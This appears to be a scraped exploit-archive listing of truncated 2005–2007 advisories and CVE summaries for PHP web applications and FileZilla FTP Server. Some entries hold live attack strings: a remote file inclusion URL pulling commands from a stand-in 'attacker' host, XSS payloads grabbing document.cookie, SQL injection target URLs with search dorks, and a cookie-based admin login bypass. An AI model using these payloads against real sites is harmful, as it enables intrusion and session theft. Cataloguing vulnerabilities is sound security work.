SaphpLesson v3.0 SQL Injection Exploit

//////////////////2007///////////////////// //SaphpLesson v3.0 SQL Injection Exploit// ////////////////////////////////////////// Found by:SwEET-DeViL&HaCKeR sUn TeaM AL-GaRNi------------------ Application : SaphpLesson------ version : v3.0----------------- URL : No-----------------------...

indexu-xss.txt

vulnerability script indexu all versions Found by :SwEET-DeViL & viP HaCkEr & HaCkEr sUn TeaM AL-GaRNi Application : indexu version : all versions URL : http://www.nicecoder.com/ google : "Powered by INDEXU 5." Exploits : |//1\| in upgrade.php...

vulnerability script indexu all versions

vulnerability script indexu all versions Found by :SwEET-DeViL & viP HaCkEr & HaCkEr sUn TeaM AL-GaRNi Application : indexu version : all versions URL : http://www.nicecoder.com/ google : "Powered by INDEXU 5." Exploits : |//1| in upgrade.php...

mobilelib-xss.txt

///////////////////////////////////// // XSS in script Mobilelib GOLD v2 // //////////////////////////////////// Found By: viP HaCKEr Tame : AL-GaRNi Vendor: http://www.ac4p.com Software: Mobilelib GOLD GOLD v2 google : "Powered by ac4p.com" :::::::::::::::::::::::::::::::::::::: Description: Lin...

XSS in script Mobilelib GOLD v2

///////////////////////////////////// // XSS in script Mobilelib GOLD v2 // //////////////////////////////////// Found By: viP HaCKEr Tame : AL-GaRNi Vendor: http://www.ac4p.com Software: Mobilelib GOLD GOLD v2 google : "Powered by ac4p.com" :::::::::::::::::::::::::::::::::::::: Description: Lin...

FileZilla FTP Server 0.9.21 - 'LIST/NLST' Denial of Service

?php Filezilla FTP Server 0.9.20 beta / 0.9.21 "LIST", "NLST" and "NLST -al" Denial Of Service by shinnai mail: shinnaiatautisticidotorg site: http://shinnai.altervista.org special thanks to rgod for his first advisory about "STOR" Denial of service, see:...

Phorum 3.2.11 - 'common.php' Remote File Inclusion

=========================================================== Yee7TeaM WwW.Yee7.CoM =========================================================== Software: Phorum v3.2.11 Vendor: http://www.phorum.org/ Download: http://skrypty.webpc.pl/pobierz274.html Dork: "Copyright C 2000 Phorum Development Team"...

randshop <= 1.1.x (index.php) Remote File Inclusion Vulnerability

Title : randshop = 1.1.x Remote File Inclusion Vulnerability - URL : http://www.randshop.com/ - Author :Saudi Hackrz - contact : Saudi.UnixatHotmail.com - dork : "software 2004-2005 by randshop" - exploit : http://target/path/index.php?dateiPfad=http://attacker/cmd.txt?&cmd=ls - greatz : SnIpEr.S...

alcaricatier.txt

Hello Vulnerable: AL-Caricatier,V.2.5 http://www.php-ar.com Exploit : http://example.com/AL-Caricatier/viewcaricatier.php?CatName='alertdocument.cookie; http://example.com/AL-Caricatier/viewcaricatier.php?CaricatierID='alertdocument.cookie;...

CVE-2006-1556

CVE-2006-1556 affects AL-Caricatier 2.5, specifically the view_caricatier.php component. The issue is multiple cross-site scripting (XSS) vulnerabilities exploitable via the CatName, CaricatierID, or CatID parameters, enabling remote attackers to inject arbitrary script/HTML. The provided sources...

CVE-2006-1556

Multiple cross-site scripting XSS vulnerabilities in viewcaricatier.php in AL-Caricatier 2.5 allow remote attackers to inject arbitrary web script or HTML via the 1 CatName, 2 CaricatierID, or 3 CatID parameter...

CVE-2006-1556: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in viewcaricatier.php in AL-Caricatier 2.5 allow remote attackers to inject arbitrary web script or HTML via the 1 CatName, 2 CaricatierID, or 3 CatID parameter...

XSS in AL-Caricatier

Hello Vulnerable: AL-Caricatier,V.2.5 http://www.php-ar.com Exploit : http://example.com/AL-Caricatier/viewcaricatier.php?CatName='scriptalertdocument.cookie;/script http://example.com/AL-Caricatier/viewcaricatier.php?CaricatierID='scriptalertdocument.cookie;/script...

AL-Caricatier 2.5 - Multiple Cross-Site Scripting Vulnerabilities

AL-Caricatier 2.5 - Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/17289/info AL-Caricatier is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacke...

phpWebsite <= SQL Injection (friend.php) & (article.php)

+phpWebsite +DaBDouB-MoSiKaR Moroccan Security Team +creetz to: Moroccan security TeamDr.E-vil,Dr.Erase,H0550N,ToM-le-Magicianfrance , ameeregypt, Esp!onLeRaVaGe, CiM TeaM, xMs3D0,|ucifer,B6,al-houda membersnabil,sn!per,Kasparovand all hackers musilm morocco and www.lezr.com +special 10x to: safa...

DawaweenSQL.txt

السلام عليكم ورحمة الله وبركاتة Software: Dawaween Web Site: http://www.dci-designs.com/ Versions:1.03 Type: SQL Injection Class: Remote example http://www.target.com/poems/poems.php?division=diwan&action=view&offset=25&id=sql Discovered by: sherba al hacker alsagher special hello to medo hacker ...

sql in Dawaween V 1.03

Software: Dawaween Web Site: http://www.dci-designs.com/ Versions:1.03 Type: SQL Injection Class: Remote example http://www.target.com/poems/poems.php?division=diwan&action=view&offset=25&id=sql Discovered by: sherba al hacker alsagher special hello to medo hacker & redhedor & greetz to all my...

CVE-2005-4653

CVE-2005-4653 affects AL-Caricatier 2.5 and earlier. The vulnerability is in ss.php and allows an unauthenticated attacker to bypass login by a sequence: request view_caricatier.php, then request any file in the admin directory with a cookie_username=admin. Impact: partial confidentiality (per CV...

CVE-2005-4653

Unspecified vulnerability in ss.php in AL-Caricatier 2.5 and earlier allows remote attackers to bypass login authentication by requesting viewcaricatier.php, and then requesting any file in the admin directory with a cookieusername=admin argument...

CVE-2005-4653: Undefined Security Weakness

Unspecified vulnerability in ss.php in AL-Caricatier 2.5 and earlier allows remote attackers to bypass login authentication by requesting viewcaricatier.php, and then requesting any file in the admin directory with a cookieusername=admin argument...